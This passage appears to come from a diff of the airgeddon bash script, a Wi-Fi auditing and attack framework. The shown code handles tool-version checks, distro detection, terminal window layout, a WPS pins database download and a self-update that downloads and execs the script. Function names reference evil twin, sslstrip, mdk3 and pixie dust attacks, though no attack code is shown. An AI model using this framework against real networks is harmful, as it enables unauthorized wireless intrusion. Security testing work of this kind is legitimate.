loop printing some dots +function time_loop() { + + debug_print + + echo -ne " " + for (( j=1; j<=4; j++ )); do + echo -ne "." + sleep 0.035 + done +} + +#Determine which version of airmon to use +function airmon_fix() { + + debug_print + + airmon="airmon-ng" + + if hash airmon-zc 2> /dev/null; then + airmon="airmon-zc" + fi +} + +#Prepare the fix for iwconfig command depending of the wireless tools version +function iwconfig_fix() { + + debug_print + + iwversion=$(iwconfig --version 2> /dev/null | grep version | awk '{print $4}') + iwcmdfix="" + if [ "${iwversion}" -lt 30 ]; then + iwcmdfix=" 2> /dev/null | grep Mode: " + fi +} + +#Set hashcat parameters based on version +function set_hashcat_parameters() { + + debug_print + + hashcat_fix="" + hashcat_charset_fix_needed=0 + if compare_floats_greater_or_equal "${hashcat_version}" "${hashcat3_version}"; then + hashcat_fix=" -D 1 --force" + hashcat_charset_fix_needed=1 + fi +} + +#Determine hashcat version +function get_hashcat_version() { + + debug_print + + hashcat_version=$(hashcat -V 2> /dev/null) + hashcat_version=${hashcat_version#"v"} +} + +#Determine bettercap version +function get_bettercap_version() { + + debug_print + + bettercap_version=$(bettercap -v 2> /dev/null | egrep "^bettercap [0-9]" | awk '{print $2}') +} + +#Determine bully version +function get_bully_version() { + + debug_print + + bully_version=$(bully -V 2> /dev/null) + bully_version=${bully_version#"v"} +} + +#Determine reaver version +function get_reaver_version() { + + debug_print + + reaver_version=$(reaver -h 2>&1 > /dev/null | egrep "^Reaver v[0-9]" | awk '{print $2}') + if [ -z "${reaver_version}" ]; then + reaver_version=$(reaver -h 2> /dev/null | egrep "^Reaver v[0-9]" | awk '{print $2}') + fi + reaver_version=${reaver_version#"v"} +} + +#Set verbosity for bully based on version +function set_bully_verbosity() { + + debug_print + + if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_verbosity4_version}"; then + bully_verbosity="4" + else + bully_verbosity="3" + fi +} + +#Validate if bully version is able to perform integrated pixiewps attack +function validate_bully_pixiewps_version() { + + debug_print + + if compare_floats_greater_or_equal "${bully_version}" "${minimum_bully_pixiewps_version}"; then + return 0 + fi + return 1 +} + +#Validate if reaver version is able to perform integrated pixiewps attack +function validate_reaver_pixiewps_version() { + + debug_print + + if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_pixiewps_version}"; then + return 0 + fi + return 1 +} + +#Set the script folder var if necessary +function set_script_folder_and_name() { + + debug_print + + if [ -z "${scriptfolder}" ]; then + scriptfolder=${0} + + if ! [[ ${0} =~ ^/.*$ ]]; then + if ! [[ ${0} =~ ^.*/.*$ ]]; then + scriptfolder="./" + fi + fi + scriptfolder="${scriptfolder%/*}/" + scriptname="${0##*/}" + fi +} + +#Set the default directory for saving files +function set_default_save_path() { + + debug_print + + if [ "${is_docker}" -eq 1 ]; then + default_save_path="${docker_io_dir}" + else + default_save_path=$(env | grep ^HOME | awk -F = '{print $2}') + fi +} + +#Check if pins database file exist and try to download the new one if proceed +function check_pins_database_file() { + + debug_print + + if [ -f "${scriptfolder}${known_pins_dbfile}" ]; then + language_strings "${language}" 376 "yellow" + echo + language_strings "${language}" 287 "blue" + check_internet_access "${host_to_check_internet}" + if [ "$?" = "0" ]; then + get_local_pin_dbfile_checksum "${scriptfolder}${known_pins_dbfile}" + get_remote_pin_dbfile_checksum + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 381 "yellow" + else + echo + if [ "${local_pin_dbfile_checksum}" != "${remote_pin_dbfile_checksum}" ]; then + language_strings "${language}" 383 "yellow" + echo + download_pins_database_file + if [ "$?" = "0" ]; then + language_strings "${language}" 377 "yellow" + pin_dbfile_checked=1 + else + language_strings "${language}" 378 "yellow" + fi + else + language_strings "${language}" 382 "yellow" + pin_dbfile_checked=1 + fi + fi + else + echo + language_strings "${language}" 375 "yellow" + ask_for_pin_dbfile_download_retry + fi + return 0 + else + language_strings "${language}" 374 "yellow" + echo + if hash curl 2> /dev/null; then + language_strings "${language}" 287 "blue" + check_internet_access "${host_to_check_internet}" + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 375 "yellow" + return 1 + else + echo + download_pins_database_file + if [ "$?" = "0" ]; then + language_strings "${language}" 377 "yellow" + pin_dbfile_checked=1 + return 0 + else + language_strings "${language}" 378 "yellow" + return 1 + fi + fi + else + language_strings "${language}" 414 "yellow" + return 1 + fi + fi +} + +#Download the pins database file +function download_pins_database_file() { + + debug_print + + remote_pindb_file=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile} 2> /dev/null) + + if [ "${remote_pindb_file}" != "${curl_404_error}" ]; then + echo "${remote_pindb_file}" > "${scriptfolder}${known_pins_dbfile}" + return 0 + else + return 1 + fi +} + +#Ask for try to download pin db file again and set the var to skip it +function ask_for_pin_dbfile_download_retry() { + + debug_print + + ask_yesno 380 + if [ ${yesno} = "n" ]; then + pin_dbfile_checked=1 + fi +} + +#Get the checksum for local pin database file +function get_local_pin_dbfile_checksum() { + + debug_print + + local_pin_dbfile_checksum=$(md5sum "${1}" | awk '{print $1}') +} + +#Get the checksum for remote pin database file +function get_remote_pin_dbfile_checksum() { + + debug_print + + remote_pin_dbfile_checksum=$(timeout -s SIGTERM 15 curl -L ${urlscript_pins_dbfile_checksum} 2> /dev/null | head -n 1) + + if [ "${remote_pin_dbfile_checksum}" != "${curl_404_error}" ]; then + return 0 + fi + return 1 +} + +#Check for possible non Linux operating systems +function non_linux_os_check() { + + debug_print + + case "${OSTYPE}" in + solaris*) + distro="Solaris" + ;; + darwin*) + distro="Mac OSX" + ;; + bsd*) + distro="FreeBSD" + ;; + esac +} + +#First phase of Linux distro detection based on uname output +function detect_distro_phase1() { + + debug_print + + for i in "${known_compatible_distros[@]}"; do + uname -a | grep "${i}" -i > /dev/null + if [ "$?" = "0" ]; then + distro="${i^}" + break + fi + done +} + +#Second phase of Linux distro detection based on architecture and version file +function detect_distro_phase2() { + + debug_print + + if [ "${distro}" = "Unknown Linux" ]; then + if [ -f ${osversionfile_dir}"centos-release" ]; then + distro="CentOS" + elif [ -f ${osversionfile_dir}"fedora-release" ]; then + distro="Fedora" + elif [ -f ${osversionfile_dir}"gentoo-release" ]; then + distro="Gentoo" + elif [ -f ${osversionfile_dir}"openmandriva-release" ]; then + distro="OpenMandriva" + elif [ -f ${osversionfile_dir}"redhat-release" ]; then + distro="Red Hat" + elif [ -f ${osversionfile_dir}"SuSE-release" ]; then + distro="SuSE" + elif [ -f ${osversionfile_dir}"debian_version" ]; then + distro="Debian" + if [ -f ${osversionfile_dir}"os-release" ]; then + extra_os_info=$(grep "PRETTY_NAME" < ${osversionfile_dir}"os-release") + if [[ "${extra_os_info}" =~ Raspbian ]]; then + distro="Raspbian" + is_arm=1 + elif [[ "${extra_os_info}" =~ Parrot ]]; then + distro="Parrot arm" + is_arm=1 + fi + fi + fi + elif [ "${distro}" = "Arch" ]; then + if [ -f ${osversionfile_dir}"os-release" ]; then + extra_os_info=$(grep "PRETTY_NAME" < ${osversionfile_dir}"os-release") + if [[ "${extra_os_info}" =~ BlackArch ]]; then + distro="BlackArch" + elif [[ "${extra_os_info}" =~ Kali ]]; then + #Kali is intentionally here too to avoid some Kali arm distro bad detection + distro="Kali" + is_arm=1 + fi + fi + fi + + detect_arm_architecture +} + +#Detect if arm architecture is present on system +function detect_arm_architecture() { + + debug_print + + distro_already_known=0 + uname -m | grep -i "arm" > /dev/null + + if [[ "$?" = "0" ]] && [[ "${distro}" != "Unknown Linux" ]]; then + + for item in "${known_arm_compatible_distros[@]}"; do + if [ "${distro}" = "${item}" ]; then + distro_already_known=1 + fi + done + + if [ ${distro_already_known} -eq 0 ]; then + distro="${distro} arm" + is_arm=1 + fi + elif [[ "${distro}" != "Unknown Linux" ]] && [[ "${is_arm}" -eq 1 ]]; then + distro="${distro} arm" + fi +} + +#Set some useful vars based on Linux distro +function special_distro_features() { + + debug_print + + case ${distro} in + "Wifislax") + networkmanager_cmd="service restart networkmanager" + xratio=7 + yratio=15.1 + ywindow_edge_lines=1 + ywindow_edge_pixels=-14 + ;; + "Backbox") + networkmanager_cmd="service network-manager restart" + xratio=6 + yratio=14.2 + ywindow_edge_lines=1 + ywindow_edge_pixels=15 + ;; + "Ubuntu") + networkmanager_cmd="service network-manager restart" + xratio=6.2 + yratio=13.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=18 + ;; + "Kali"|"Kali arm") + networkmanager_cmd="service network-manager restart" + xratio=6.2 + yratio=13.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=18 + ;; + "Debian") + networkmanager_cmd="service network-manager restart" + xratio=6.2 + yratio=13.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=14 + ;; + "SuSE") + networkmanager_cmd="service NetworkManager restart" + xratio=6.2 + yratio=13.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=18 + ;; + "CentOS") + networkmanager_cmd="service NetworkManager restart" + xratio=6.2 + yratio=14.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=10 + ;; + "Parrot"|"Parrot arm") + networkmanager_cmd="service network-manager restart" + xratio=6.2 + yratio=13.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=10 + ;; + "Arch") + networkmanager_cmd="systemctl restart NetworkManager.service" + xratio=6.2 + yratio=13.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=16 + ;; + "Fedora") + networkmanager_cmd="service NetworkManager restart" + xratio=6 + yratio=14.1 + ywindow_edge_lines=2 + ywindow_edge_pixels=16 + ;; + "Gentoo") + networkmanager_cmd="service NetworkManager restart" + xratio=6.2 + yratio=14.6 + ywindow_edge_lines=1 + ywindow_edge_pixels=-10 + ;; + "Red Hat") + networkmanager_cmd="service NetworkManager restart" + xratio=6.2 + yratio=15.3 + ywindow_edge_lines=1 + ywindow_edge_pixels=10 + ;; + "Cyborg") + networkmanager_cmd="service network-manager restart" + xratio=6.2 + yratio=14.5 + ywindow_edge_lines=2 + ywindow_edge_pixels=10 + ;; + "BlackArch") + networkmanager_cmd="systemctl restart NetworkManager.service" + xratio=7.3 + yratio=14 + ywindow_edge_lines=1 + ywindow_edge_pixels=1 + ;; + "Raspbian") + networkmanager_cmd="service network-manager restart" + xratio=6.2 + yratio=14 + ywindow_edge_lines=1 + ywindow_edge_pixels=20 + ;; + "OpenMandriva") + networkmanager_cmd="systemctl restart NetworkManager.service" + xratio=6.2 + yratio=14 + ywindow_edge_lines=2 + ywindow_edge_pixels=-10 + ;; + esac +} + +#Determine if NetworkManager must be killed on your system. Only needed for previous versions of 1.0.12 +function check_if_kill_needed() { + + debug_print + + nm_min_main_version="1" + nm_min_subversion="0" + nm_min_subversion2="12" + + if ! hash NetworkManager 2> /dev/null; then + check_kill_needed=0 + else + nm_system_version=$(NetworkManager --version 2> /dev/null) + + if [ "${nm_system_version}" != "" ]; then + + [[ ${nm_system_version} =~ ^([0-9]{1,2})\.([0-9]{1,2})\.([0-9]+).*?$ ]] && nm_main_system_version="${BASH_REMATCH[1]}" && nm_system_subversion="${BASH_REMATCH[2]}" && nm_system_subversion2="${BASH_REMATCH[3]}" + + if [ "${nm_main_system_version}" -lt ${nm_min_main_version} ]; then + check_kill_needed=1 + elif [ "${nm_main_system_version}" -eq ${nm_min_main_version} ]; then + + if [ "${nm_system_subversion}" -lt ${nm_min_subversion} ]; then + check_kill_needed=1 + elif [ "${nm_system_subversion}" -eq ${nm_min_subversion} ]; then + + if [ "${nm_system_subversion2}" -lt ${nm_min_subversion2} ]; then + check_kill_needed=1 + fi + fi + fi + else + check_kill_needed=1 + fi + fi +} + +#Do some checks for some general configuration +function general_checkings() { + + debug_print + + compatible=0 + distro="Unknown Linux" + + detect_distro_phase1 + detect_distro_phase2 + special_distro_features + check_if_kill_needed + + if [ "${distro}" = "Unknown Linux" ]; then + non_linux_os_check + echo -e "${yellow_color}${distro}${normal_color}" + else + if [ "${is_docker}" -eq 1 ]; then + echo -e "${yellow_color}${docker_based_distro} Linux ${pink_color}(Docker)${normal_color}" + else + echo -e "${yellow_color}${distro} Linux${normal_color}" + fi + fi + + check_compatibility + if [ ${compatible} -eq 1 ]; then + return + fi + + check_root_permissions + + language_strings "${language}" 115 "read" + exit_code=1 + exit_script_option +} + +#Check if the user is root +function check_root_permissions() { + + debug_print + + user=$(whoami) + + if [ "${user}" != "root" ]; then + language_strings "${language}" 223 "yellow" + fi +} + +#Print Linux known distros +function print_known_distros() { + + debug_print + + all_known_compatible_distros=("${known_compatible_distros[@]}" "${known_arm_compatible_distros[@]}") + IFS=$'\n' + all_known_compatible_distros=($(printf "%s\n" "${all_known_compatible_distros[@]}" | sort)) + unset IFS + + for i in "${all_known_compatible_distros[@]}"; do + echo -ne "${pink_color}\"${i}\" ${normal_color}" + done + echo +} + +#Check if you have installed the tools (essential and optional) that the script uses +function check_compatibility() { + + debug_print + + echo + language_strings "${language}" 108 "blue" + language_strings "${language}" 115 "read" + + echo + language_strings "${language}" 109 "blue" + + essential_toolsok=1 + for i in "${essential_tools_names[@]}"; do + echo -ne "${i}" + time_loop + if ! hash "${i}" 2> /dev/null; then + echo -ne "${red_color} Error${normal_color}" + essential_toolsok=0 + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" + echo -e "\r" + else + echo -e "${green_color} Ok\r${normal_color}" + fi + done + + echo + language_strings "${language}" 218 "blue" + + optional_toolsok=1 + for i in "${!optional_tools[@]}"; do + echo -ne "${i}" + time_loop + if ! hash "${i}" 2> /dev/null; then + echo -ne "${red_color} Error${normal_color}" + optional_toolsok=0 + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" + echo -e "\r" + else + if [ "${i}" = "beef" ]; then + detect_fake_beef + if [ ${fake_beef_found} -eq 1 ]; then + echo -ne "${red_color} Error${normal_color}" + optional_toolsok=0 + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" + echo -e "\r" + else + echo -e "${green_color} Ok\r${normal_color}" + optional_tools[${i}]=1 + fi + else + echo -e "${green_color} Ok\r${normal_color}" + optional_tools[${i}]=1 + fi + fi + done + + update_toolsok=1 + if [ ${auto_update} -eq 1 ]; then + + echo + language_strings "${language}" 226 "blue" + + for i in "${update_tools[@]}"; do + echo -ne "${i}" + time_loop + if ! hash "${i}" 2> /dev/null; then + echo -ne "${red_color} Error${normal_color}" + update_toolsok=0 + echo -ne " (${possible_package_names_text[${language}]} : ${possible_package_names[${i}]})" + echo -e "\r" + else + echo -e "${green_color} Ok\r${normal_color}" + fi + done + fi + + if [ ${essential_toolsok} -eq 0 ]; then + echo + language_strings "${language}" 111 "red" + echo + return + fi + + compatible=1 + + if [ ${optional_toolsok} -eq 0 ]; then + echo + language_strings "${language}" 219 "yellow" + echo + if [ ${fake_beef_found} -eq 1 ]; then + language_strings "${language}" 401 "red" + echo + fi + return + fi + + echo + language_strings "${language}" 110 "yellow" +} + +#Check for the minimum bash version requirement +function check_bash_version() { + + debug_print + + echo + bashversion="${BASH_VERSINFO[0]}.${BASH_VERSINFO[1]}" + if compare_floats_greater_or_equal "${bashversion}" ${minimum_bash_version_required}; then + language_strings "${language}" 221 "yellow" + else + language_strings "${language}" 222 "red" + exit_code=1 + exit_script_option + fi +} + +#Check if you have installed the tools required to update the script +function check_update_tools() { + + debug_print + + if [ ${auto_update} -eq 1 ]; then + if [ ${update_toolsok} -eq 1 ]; then + autoupdate_check + else + echo + language_strings "${language}" 225 "yellow" + language_strings "${language}" 115 "read" + fi + else + if [ "${is_docker}" -eq 1 ]; then + echo + language_strings "${language}" 422 "blue" + language_strings "${language}" 115 "read" + fi + fi +} + +#Check if window size is enough for intro +function check_window_size_for_intro() { + + debug_print + + window_width=$(tput cols) + window_height=$(tput lines) + + if [ "${window_width}" -lt 69 ]; then + return 1 + elif [[ ${window_width} -ge 69 ]] && [[ ${window_width} -le 80 ]]; then + if [ "${window_height}" -lt 20 ]; then + return 1 + fi + else + if [ "${window_height}" -lt 19 ]; then + return 1 + fi + fi + + return 0 +} + +#Print the script intro +function print_intro() { + + debug_print + + echo -e "${yellow_color} .__ .___ .___" + sleep 0.15 && echo -e " _____ |__|______ ____ ____ __| _/__| _/____ ____" + sleep 0.15 && echo -e " \__ \ | \_ __ \/ ___\_/ __ \ / __ |/ __ |/ _ \ / \\" + sleep 0.15 && echo -e " / __ \| || | \/ /_/ > ___// /_/ / /_/ ( <_> ) | \\" + sleep 0.15 && echo -e " (____ /__||__| \___ / \___ >____ \____ |\____/|___| /" + sleep 0.15 && echo -e " \/ /_____/ \/ \/ \/ \/${normal_color}" + echo + language_strings "${language}" 228 "green" + print_animated_flying_saucer + sleep 1 +} + +#Generate the frames of the animated ascii art flying saucer +function flying_saucer() { + + debug_print + + case ${1} in + 1) + echo " " + echo " . * _.---._ * " + echo " .' '. . " + echo " _.-~===========~-._ *" + echo " * (___________________) . " + echo " . . \_______/ * " + ;; + 2) + echo " * . _.---._ . " + echo " * .' '. . " + echo " _.-~===========~-._ * " + echo " . (___________________) * " + echo " * \_______/ . " + echo " " + ;; + 3) + echo " * . " + echo " * _.---._ * " + echo " . .' '. * " + echo " . _.-~===========~-._ * " + echo " (___________________) ." + echo " * \_______/ . " + ;; + 4) + echo " * . _.---._ . " + echo " * .' '. . " + echo " _.-~===========~-._ * " + echo " . (___________________) * " + echo " * \_______/ . " + echo " " + ;; + esac + sleep 0.4 +} + +#Print animated ascii art flying saucer +function print_animated_flying_saucer() { + + debug_print + + echo -e "\033[s" + + for i in $(seq 1 8); do + if [ "${i}" -le 4 ]; then + saucer_frame=${i} + else + saucer_frame=$((i-4)) + fi + echo -e "\033[u" + flying_saucer ${saucer_frame} + done +} + +#Initialize script settings +function initialize_script_settings() { + + debug_print + + is_docker=0 + exit_code=0 + check_kill_needed=0 + nm_processes_killed=0 + airmon_fix + autochanged_language=0 + tmpfiles_toclean=0 + routing_toclean=0 + spoofed_mac=0 + mac_spoofing_desired=0 + dhcpd_path_changed=0 + xratio=6.2 + yratio=13.9 + ywindow_edge_lines=2 + ywindow_edge_pixels=18 + networkmanager_cmd="service network-manager restart" + is_arm=0 + pin_dbfile_checked=0 + beef_found=0 + fake_beef_found=0 + set_script_folder_and_name +} + +#Detect screen resolution if possible +function detect_screen_resolution() { + + debug_print + + resolution_detected=0 + if hash xdpyinfo 2> /dev/null; then + resolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep "dimensions" | tr -s " " | cut -d " " -f 3 | grep "x") + + if [ "$?" = "0" ]; then + resolution_detected=1 + fi + fi + + if [ ${resolution_detected} -eq 0 ]; then + resolution=${standard_resolution} + fi + + [[ ${resolution} =~ ^([0-9]{3,4})x(([0-9]{3,4}))$ ]] && resolution_x="${BASH_REMATCH[1]}" && resolution_y="${BASH_REMATCH[2]}" +} + +#Set windows sizes and positions +function set_windows_sizes() { + + debug_print + + set_xsizes + set_ysizes + set_ypositions + + g1_topleft_window="${xwindow}x${ywindowhalf}+0+0" + g1_bottomleft_window="${xwindow}x${ywindowhalf}+0-0" + g1_topright_window="${xwindow}x${ywindowhalf}-0+0" + g1_bottomright_window="${xwindow}x${ywindowhalf}-0-0" + + g2_stdleft_window="${xwindow}x${ywindowone}+0+0" + g2_stdright_window="${xwindow}x${ywindowone}-0+0" + + g3_topleft_window="${xwindow}x${ywindowthird}+0+0" + g3_middleleft_window="${xwindow}x${ywindowthird}+0+${middle_position}" + g3_bottomleft_window="${xwindow}x${ywindowthird}+0-0" + g3_topright_window="${xwindow}x${ywindowhalf}-0+0" + g3_bottomright_window="${xwindow}x${ywindowhalf}-0-0" + + g4_topleft_window="${xwindow}x${ywindowthird}+0+0" + g4_middleleft_window="${xwindow}x${ywindowthird}+0+${middle_position}" + g4_bottomleft_window="${xwindow}x${ywindowthird}+0-0" + g4_topright_window="${xwindow}x${ywindowthird}-0+0" + g4_middleright_window="${xwindow}x${ywindowthird}-0+${middle_position}" + g4_bottomright_window="${xwindow}x${ywindowthird}-0-0" +} + +#Set sizes for x axis +function set_xsizes() { + + debug_print + + xtotal=$(awk -v n1="${resolution_x}" "BEGIN{print n1 / ${xratio}}") + + xtotaltmp=$(printf "%.0f" "${xtotal}" 2> /dev/null) + if [ "$?" != "0" ]; then + dec_char="," + xtotal="${xtotal/./${dec_char}}" + xtotal=$(printf "%.0f" "${xtotal}" 2> /dev/null) + else + xtotal=${xtotaltmp} + fi + + xcentral_space=$((xtotal * 5 / 100)) + xhalf=$((xtotal / 2)) + xwindow=$((xhalf - xcentral_space)) +} + +#Set sizes for y axis +function set_ysizes() { + + debug_print + + ytotal=$(awk -v n1="${resolution_y}" "BEGIN{print n1 / ${yratio}}") + ytotaltmp=$(printf "%.0f" "${ytotal}" 2> /dev/null) + if [ "$?" != "0" ]; then + dec_char="," + ytotal="${ytotal/./${dec_char}}" + ytotal=$(printf "%.0f" "${ytotal}" 2> /dev/null) + else + ytotal=${ytotaltmp} + fi + + ywindowone=$((ytotal - ywindow_edge_lines)) + ywindowhalf=$((ytotal / 2 - ywindow_edge_lines)) + ywindowthird=$((ytotal / 3 - ywindow_edge_lines)) +} + +#Set positions for y axis +function set_ypositions() { + + debug_print + + middle_position=$((resolution_y / 3 + ywindow_edge_pixels)) +} + +#Recalculate windows sizes and positions +function recalculate_windows_sizes() { + + debug_print + + detect_screen_resolution + set_windows_sizes +} + +#Detect if airgeddon is working inside a docker container +function docker_detection() { + + debug_print + + if [ -f /.dockerenv ]; then + is_docker=1 + fi +} + +#Script starting point +function welcome() { + + debug_print + + clear + current_menu="pre_main_menu" + initialize_script_settings + docker_detection + set_default_save_path + + if [ ${auto_change_language} -eq 1 ]; then + autodetect_language + fi + + check_language_strings + + detect_screen_resolution + set_possible_aliases + initialize_optional_tools_values + + if [ ${debug_mode} -eq 0 ]; then + language_strings "${language}" 86 "title" + language_strings "${language}" 6 "blue" + echo + check_window_size_for_intro + if [ "$?" = "0" ]; then + print_intro + else + language_strings "${language}" 228 "green" + echo + language_strings "${language}" 395 "yellow" + sleep 3 + fi + + clear + language_strings "${language}" 86 "title" + language_strings "${language}" 7 "pink" + language_strings "${language}" 114 "pink" + + if [ ${autochanged_language} -eq 1 ]; then + echo + language_strings "${language}" 2 "yellow" + fi + + check_bash_version + + echo + if [ ${resolution_detected} -eq 1 ]; then + language_strings "${language}" 294 "blue" + else + language_strings "${language}" 295 "red" + echo + language_strings "${language}" 300 "yellow" + fi + + echo + language_strings "${language}" 8 "blue" + print_known_distros + echo + language_strings "${language}" 9 "blue" + general_checkings + language_strings "${language}" 115 "read" + + airmonzc_security_check + check_update_tools + fi + + set_windows_sizes + select_interface + initialize_menu_options_dependencies + remove_warnings + main_menu +} + +#Avoid the problem of using airmon-zc without ethtool or lspci installed +function airmonzc_security_check() { + + debug_print + + if [ "${airmon}" = "airmon-zc" ]; then + if ! hash ethtool 2> /dev/null; then + echo + language_strings "${language}" 247 "red" + echo + language_strings "${language}" 115 "read" + exit_code=1 + exit_script_option + elif ! hash lspci 2> /dev/null; then + echo + language_strings "${language}" 301 "red" + echo + language_strings "${language}" 115 "read" + exit_code=1 + exit_script_option + fi + fi +} + +#Compare if first float argument is greater than float second argument +function compare_floats_greater_than() { + + debug_print + + awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>n2) exit 0; exit 1}' +} + +#Compare if first float argument is greater or equal than float second argument +function compare_floats_greater_or_equal() { + + debug_print + + awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>=n2) exit 0; exit 1}' +} + +#Update and relaunch the script +function download_last_version() { + + debug_print + + rewrite_script_with_custom_beef "search" + download_language_strings_file && timeout -s SIGTERM 15 curl -L ${urlscript_directlink} -s -o "${0}" + + if [ "$?" = "0" ]; then + echo + language_strings "${language}" 214 "yellow" + + if [ -n "${beef_custom_path}" ]; then + rewrite_script_with_custom_beef "set" "${beef_custom_path}" + fi + language_strings "${language}" 115 "read" + exec "${scriptfolder}${scriptname}" + else + language_strings "${language}" 5 "yellow" + fi +} + +#Validate if the selected internet interface has internet access +function validate_et_internet_interface() { + + debug_print + + echo + language_strings "${language}" 287 "blue" + check_internet_access "${host_to_check_internet}" + + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 288 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + check_default_route "${internet_interface}" + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 290 "red" + language_strings "${language}" 115 "read" + return 1 + fi + + echo + language_strings "${language}" 289 "yellow" + language_strings "${language}" 115 "read" + internet_interface_selected=1 + return 0 +} + +#Check for active internet connection +function check_internet_access() { + + debug_print + + ping -c 1 ${host_to_check_internet} -W 1 > /dev/null 2>&1 + return $? +} + +#Check for default route on an interface +function check_default_route() { + + debug_print + + route | grep "${1}" | grep "default" > /dev/null + return $? +} + +#Update the script if your version is lower than the cloud version +function autoupdate_check() { + + debug_print + + echo + language_strings "${language}" 210 "blue" + echo + hasinternet_access_for_update=0 + + check_internet_access "${host_to_check_internet}" + if [ "$?" = "0" ]; then + hasinternet_access_for_update=1 + fi + + if [ ${hasinternet_access_for_update} -eq 1 ]; then + + airgeddon_last_version=$(timeout -s SIGTERM 15 curl -L ${urlscript_directlink} 2> /dev/null | grep "airgeddon_version=" | head -1 | cut -d "\"" -f 2) + + if [ "${airgeddon_last_version}" != "" ]; then + if compare_floats_greater_than "${airgeddon_last_version}" "${airgeddon_version}"; then + language_strings "${language}" 213 "yellow" + download_last_version + else + language_strings "${language}" 212 "yellow" + fi + else + language_strings "${language}" 5 "yellow" + fi + else + language_strings "${language}" 211 "yellow" + fi + + language_strings "${language}" 115 "read" +} + +#Check if you can launch captive portal Evil Twin attack +function check_et_without_internet_compatibility() { + + debug_print + + if ! hash "${optional_tools_names[12]}" 2> /dev/null; then + return 1 + fi + return 0 +} + +#Change script language automatically if OS language is supported by the script and different from current language +function autodetect_language() { + + debug_print + + [[ $(locale | grep LANG) =~ ^(.*)=\"?([a-zA-Z]+)_(.*)$ ]] && lang="${BASH_REMATCH[2]}" + + for lgkey in "${!lang_association[@]}"; do + if [[ "${lang}" = "${lgkey}" ]] && [[ "${language}" != "${lang_association[${lgkey}]}" ]]; then + autochanged_language=1 + language=${lang_association[${lgkey}]} + break + fi + done +} + +#Clean some known and controlled warnings for shellcheck tool +function remove_warnings() { + + debug_print + + echo "${clean_handshake_dependencies[@]}" > /dev/null 2>&1 + echo "${aircrack_attacks_dependencies[@]}" > /dev/null 2>&1 + echo "${aireplay_attack_dependencies[@]}" > /dev/null 2>&1 + echo "${mdk3_attack_dependencies[@]}" > /dev/null 2>&1 + echo "${hashcat_attacks_dependencies[@]}" > /dev/null 2>&1 + echo "${et_onlyap_dependencies[@]}" > /dev/null 2>&1 + echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1 + echo "${et_sniffing_sslstrip_dependencies[@]}" > /dev/null 2>&1 + echo "${et_sniffing_sslstrip2_dependencies[@]}" > /dev/null 2>&1 + echo "${et_captive_portal_dependencies[@]}" > /dev/null 2>&1 + echo "${wash_scan_dependencies[@]}" > /dev/null 2>&1 + echo "${bully_attacks_dependencies[@]}" > /dev/null 2>&1 + echo "${reaver_attacks_dependencies[@]}" > /dev/null 2>&1 + echo "${bully_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 + echo "${reaver_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1 + echo "${is_arm}" > /dev/null 2>&1 +} + +#Print a simple separator +function print_simple_separator() { + + debug_print + + echo_blue "---------" +} + +#Print a large separator +function print_large_separator() { + + debug_print + + echo_blue "-------------------------------------------------------" +} + +#Add the PoT prefix on printed strings if PoT mark is found +function check_pending_of_translation() { + + debug_print + + if [[ "${1}" =~ ^${escaped_pending_of_translation}([[:space:]])(.*)$ ]]; then + text="${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}" + return 1 + elif [[ "${1}" =~ ^${escaped_hintvar}[[:space:]](\\033\[[0-9];[0-9]{1,2}m)?(${escaped_pending_of_translation})[[:space:]](.*) ]]; then + text="${cyan_color}${pending_of_translation} ${brown_color}${hintvar} ${pink_color}${BASH_REMATCH[3]}" + return 1 + elif [[ "${1}" =~ ^(\*+)[[:space:]]${escaped_pending_of_translation}[[:space:]]([^\*]+)(\*+)$ ]]; then + text="${2}${BASH_REMATCH[1]}${cyan_color} ${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}" + return 1 + elif [[ "${1}" =~ ^(\-+)[[:space:]]\(${escaped_pending_of_translation}[[:space:]]([^\-]+)(\-+)$ ]]; then + text="${2}${BASH_REMATCH[1]} (${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}" + return 1 + fi + + return 0 +} + +#Print under construction message used on some menu entries +function under_construction_message() { + + debug_print + + local var_uc="${under_constructionvar^}" + echo + echo_red "${var_uc}..." + language_strings "${language}" 115 "read" +} + +#Canalize the echo functions +function last_echo() { + + debug_print + + check_pending_of_translation "${1}" "${2}" + if [ "$?" != "0" ]; then + echo -e "${2}${text}${normal_color}" + else + echo -e "${2}$*${normal_color}" + fi +} + +#Print green messages +function echo_green() { + + debug_print + + last_echo "${1}" "${green_color}" +} + +#Print blue messages +function echo_blue() { + + debug_print + + last_echo "${1}" "${blue_color}" +} + +#Print yellow messages +function echo_yellow() { + + debug_print + + last_echo "${1}" "${yellow_color}" +} + +#Print red messages +function echo_red() { + + debug_print + + last_echo "${1}" "${red_color}" +} + +#Print red messages using a slimmer thickness +function echo_red_slim() { + + debug_print + + last_echo "${1}" "${red_color_slim}" +} + +#Print black messages with background for titles +function echo_green_title() { + + debug_print + + last_echo "${1}" "${green_color_title}" +} + +#Print pink messages +function echo_pink() { + + debug_print + + last_echo "${1}" "${pink_color}" +} + +#Print cyan messages +function echo_cyan() { + + debug_print + + last_echo "${1}" "${cyan_color}" +} + +#Print brown 